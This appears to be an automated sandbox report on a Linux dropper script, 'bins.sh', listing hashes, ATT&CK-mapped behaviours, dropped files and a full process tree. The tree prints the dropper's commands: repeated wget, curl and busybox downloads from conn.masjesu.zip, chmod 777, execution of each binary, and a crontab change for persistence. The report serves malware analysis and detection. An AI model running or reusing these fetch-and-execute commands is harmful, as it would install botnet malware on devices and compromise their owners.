Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 06:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e644c93a94d80ccf3744e3b8451a1c6f

  • SHA1

    f18ef7c83700017f88098b81fb8b5a9f5028f15f

  • SHA256

    669b73ba758a82a02287f377c37c4551f2e4105534222f2e4c78631737d4655e

  • SHA512

    e0add2510735af2b797129d405d478bded2f593ee6a58022c237f29c8574ba827629bd32ac8395b329a4626bca7acd9345c1f7536cb101c47c3090609e52eb49

  • SSDEEP

    192:6kcnMALGO3vZ/VmZ0woYI0w0k6MALGOtvh:6xNVmSal

Malware Config

Signatures

  • Contacts a large (792) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • File and Directory Permissions Modification
              PID:759
            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Executes dropped EXE
              PID:761
            • /bin/rm
              rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:765
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:771
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:781
              • /bin/chmod
                chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Executes dropped EXE
                PID:786
              • /bin/rm
                rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                  PID:789
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:790
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:804
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/chmod
                  chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • Executes dropped EXE
                  PID:818
                • /bin/rm
                  rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                    PID:820
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:821
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:822
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:824
                  • /bin/chmod
                    chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:825
                  • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • Executes dropped EXE
                    PID:826
                  • /bin/rm
                    rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                      PID:828
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Writes file to tmp directory
                      PID:829
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Writes file to tmp directory
                      PID:830
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Writes file to tmp directory
                      PID:832
                    • /bin/chmod
                      chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • File and Directory Permissions Modification
                      PID:835
                    • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:836
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:838
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:839
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:841
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:847
                          • /bin/rm
                            rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                            2⤵
                              PID:844
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                              2⤵
                              • System Network Configuration Discovery
                              PID:928
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                              2⤵
                              • System Network Configuration Discovery
                              PID:931

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /var/spool/cron/crontabs/tmp.et1w4c

                            Filesize

                            210B

                            MD5

                            9b419f61a46f2a3213a3522892984a78

                            SHA1

                            3b4485bab984945055e66e932375056708cd1947

                            SHA256

                            f882633f459013112995e2906821b9c8989edbbe38bdaf47bb8c0051b61af0b9

                            SHA512

                            be7b1c82eafc5daaee8c966eb99d2fdcb5d21f2eedb7e7d1b336c450dc9a496fa7de2d2a74aaa1e2ed403034538926c731c50f61bfb7b48fda658e9561f2d7d3